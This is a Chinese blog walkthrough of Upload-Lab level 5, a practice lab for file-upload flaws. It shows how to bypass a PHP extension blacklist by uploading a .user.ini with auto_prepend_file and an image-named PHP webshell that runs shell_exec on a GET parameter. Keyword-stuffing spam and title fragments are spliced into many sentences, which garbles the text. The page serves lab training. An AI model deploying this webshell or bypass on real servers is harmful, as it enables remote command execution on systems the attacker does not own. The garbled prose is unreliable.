您现在的位置是:电脑教程 >>正文
Upload-Lab第五关:如何巧妙利用.user.ini配置文件绕过黑名单验证
电脑教程42979人已围观
简介关卡介绍upload-lab是一个用于练习文件上传漏洞的演练平台。在第五关中,我们将探索如何利用.user.ini文件包含漏洞来攻破这一关卡。此关卡的核心在于利用PHP的user_ini文件特性绕过安 ...
upload-lab是关何过黑一个用于练习文件上传漏洞的演练平台。在第五关中,巧妙我们将探索如何利用 .user.ini 文件包含漏洞来攻破这一关卡。利用此关卡的置文核心在于利用PHP的 user_ini文件特性绕过安全检查,最终实现恶意代码执行 。名单

以下第5关的验证核心代码:
复制is_upload = false; $msg = null; if (isset($_POST[submit])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); $file_name = trim($_FILES[upload_file][name]); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, .); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace(::$DATA, , $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES[upload_file][tmp_name]; $img_path = UPLOAD_PATH./.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = 上传出错 !; } } else { $msg = 此文件类型不允许上传 !关何过黑; } } else { $msg = UPLOAD_PATH . 文件夹不存在,巧妙请手工创建!; } }1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.在观察源码后,利用发现源码中将所有可解析的置文文件后缀名都明确列出,云计算包括大小写转换 、名单空格和点号等处理。验证因此,关何过黑无法正常上传PHP类文件 ,巧妙并且 .htaccess文件的利用上传也被拒绝。然而,通过仔细检查,发现有两个后缀名没有被限制 ,它们是 .php7和 .ini。
关于user.ini从 PHP 5.3.0 开始 ,PHP 支持每个目录使用 .user.ini 文件 ,这类似于 Apache 的 .htaccess 文件。这种文件只会被 CGI/FastCGI 模式的建站模板 PHP 处理,因此 PECL 的 htscanner 扩展就不再需要了。如果你使用 Apache 服务器,可以通过 .htaccess 文件实现相同的效果。
除了主配置文件 php.ini 之外 ,PHP 还会在每个目录中查找 .user.ini 文件,从执行的 PHP 文件所在目录一直向上查找 ,直到找到 web 根目录(由 $_SERVER[DOCUMENT_ROOT] 指定)。如果 PHP 文件在 web 根目录之外 ,只会扫描该目录。
在 .user.ini 文件中 ,只能使用具有 PHP_INI_PERDIR和PHP_INI_USER 模式的配置指令 。香港云服务器
有两个新的配置指令控制 .user.ini 文件的使用:
user_ini.filename :设置 PHP 在每个目录中查找的文件名。如果设置为空字符串,PHP 就不会查找这些文件 。默认值是 .user.ini 。user_ini.cache_ttl:控制重新读取 .user.ini 文件的时间间隔。默认是 300 秒(5 分钟)。.user.ini 文件中的配置会像 php.ini 中的配置一样被 PHP 处理,这可能会导致文件解析漏洞。高防服务器要触发 .user.ini 解析漏洞,需要满足以下三个条件:
服务器使用PHP作为脚本语言。服务器运行在 CGI/FastCGI 模式下。上传目录中有可执行的PHP文件 。解法步骤(1) 编写 .user.ini 文件
首先 ,我们需要创建一个 .user.ini 文件,以指示服务器在每个请求前包含我们的 666.jpg 文件 。创建一个名为 .user.ini 的文件 ,内容如下 :
复制auto_prepend_file=666.jpg1.该配置将使得 666.jpg在每个PHP请求前自动包含。
(2) 编写恶意 PHP文件
接下来 ,我们需要一个包含恶意代码的PHP文件。这个文件将在 .user.ini 被解析后自动被包含并执行。源码库创建一个名为 666.jpg 的文件 ,内容如下 :
复制<?phpecho shell_exec($_GET[pass]); ?>1.(3) 上传文件
先将 .user.ini 文件上传到服务器,接着,再将666.jpg上传到服务器。

user_ini文件受到user_ini.cache_ttl这个参数影响 ,这里有两个选择:
慢慢的等候5分钟,再去访问直接进去修改php-ini配置文件把这里的300秒(即默认等5分钟)改为10 :

修改后保存php.ini文件并重启服务 ,静心等候10秒后再进行下一步操作。
(4) 访问并执行
根据关卡5的提示 ,upload目录中存在一个readme.php,如下图所示:

提示
我通过访问这个readme.php文件 ,去触发自己上传的脚本文件 。服务器租用该请求将执行 id 命令 ,并显示当前用户详细信息 。如图所示 :

webshell执行成功
总结在upload-lab的第五关中,我们利用 .user.ini文件的特性 ,成功绕过了服务器的安全检查并执行了恶意代码 。这种攻击方式主要依赖于对 PHP 配置文件的理解和巧妙利用,为安全研究人员提供了一个有趣且实用的学习案例。
推荐阅读:
《Upload-Lab第一关:轻松绕过前端验证的技巧 !》
《Upload-Lab第二关:如何巧妙绕过MIME类型过滤?》
《Upload-Lab第三关:如何巧妙应对黑名单文件后缀检测?》
《Upload-Lab第四关:如何巧用.htaccess破解黑名单验证》
Tags:
转载:欢迎各位朋友分享到网络,但转载请说明文章出处“算法与编程”。http://www.bzli.cn/html/776d499219.html
相关文章
防范复杂的网络攻击,仅凭技术远远不够
电脑教程译者 | 刘涛审校 | 孙淑娟尽管我们经常会庆祝技术的发展和创新的进步,但网络攻击的日益复杂性使得情况不容乐观。网络安全措施需要比网络攻击提前一步,才有希望与其对抗,但是随着黑客和网络安全工具的发展 ...
【电脑教程】
阅读更多Forrester报告:Web3可能比现有网络更容易遭受攻击
电脑教程许多人认为,下一代网络Web3会比现在的网络更安全,但最近发布的报告浇了盆冷水,事实可能并非如此。Forrester认为,从基础设施的层面来看,Web3的确有可能更难颠覆,但它也有一些弱点,可能会比现 ...
【电脑教程】
阅读更多新的Windows搜索零日漏洞可被远程托管恶意软件利用
电脑教程安全研究人员发现了一个新的Windows Search零日漏洞,攻击者可以通过启动Word文档来加以利用。该漏洞将允许威胁行为者自动打开一个搜索窗口,其中包含受感染系统上远程托管的恶意可执行文件。由于 ...
【电脑教程】
阅读更多
热门文章
最新文章
友情链接
- 戴尔数据泄露事件:测试实验室平台遭 World Leaks 黑客组织入侵
- 戴尔Latitude 5420商务笔记本 优质体验 胜任多种办公需求
- DellSE2417HG评测(适用于多种用途的高性价比显示器)
- 探索bcd-458wdvmu1的卓越性能和功能(一款引领技术创新的多功能设备)
- API成为新一代安全焦点?瑞数信息发布最新《API安全趋势报告》
- 探索2023年vivo最新款手机的革新之路(领先科技、卓越性能、引领未来)
- 压测利器 Apache Bench:快速上手,服务器性能一测就“露馅”!
- 探究GeForce980MZ(颠覆视觉体验的游戏级显卡)
- 戴尔科技PowerScale在IDC行业追踪报告中年年保持销量冠军 云服务器网站建设企业服务器b2b信息平台香港物理机源码库亿华云